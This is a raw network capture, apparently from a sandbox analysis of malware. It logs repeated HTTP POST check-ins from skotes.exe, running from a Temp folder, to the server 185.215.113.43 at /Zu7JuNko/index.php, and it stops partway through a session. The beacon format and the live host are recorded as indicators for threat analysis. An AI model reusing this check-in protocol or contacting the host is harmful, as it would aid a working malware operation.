85	192.168.2.6	50205	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:22.080956936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:22.980365038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50206	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:24.502650976 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:25.415503025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50207	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:27.049355984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:27.960885048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50208	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:29.484217882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:30.393907070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50209	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:32.041429996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:32.951519966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50210	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:34.477430105 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:35.380259991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50211	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:37.002510071 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:37.911595106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50212	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:39.423782110 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:40.340827942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50213	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:41.957175970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:42.897448063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50214	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:44.411562920 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:45.331726074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50216	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:46.953627110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:47.882556915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50217	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:49.394171953 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:50.299968004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50218	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:51.937644958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:52.849842072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50219	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:54.369422913 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:41:55.267819881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50220	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:56.909806967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:41:57.825779915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:41:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50221	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:41:59.346308947 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:00.245678902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50222	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:01.865587950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:02.785065889 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50224	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:04.298508883 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:05.201421022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50225	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:06.830141068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:07.723057032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50226	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:09.238254070 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:10.145925045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50227	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:11.781395912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:12.679388046 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50228	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:14.201390028 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 10:42:15.095637083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50229	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:42:16.720446110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:42:17.627679110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:42:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50230	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
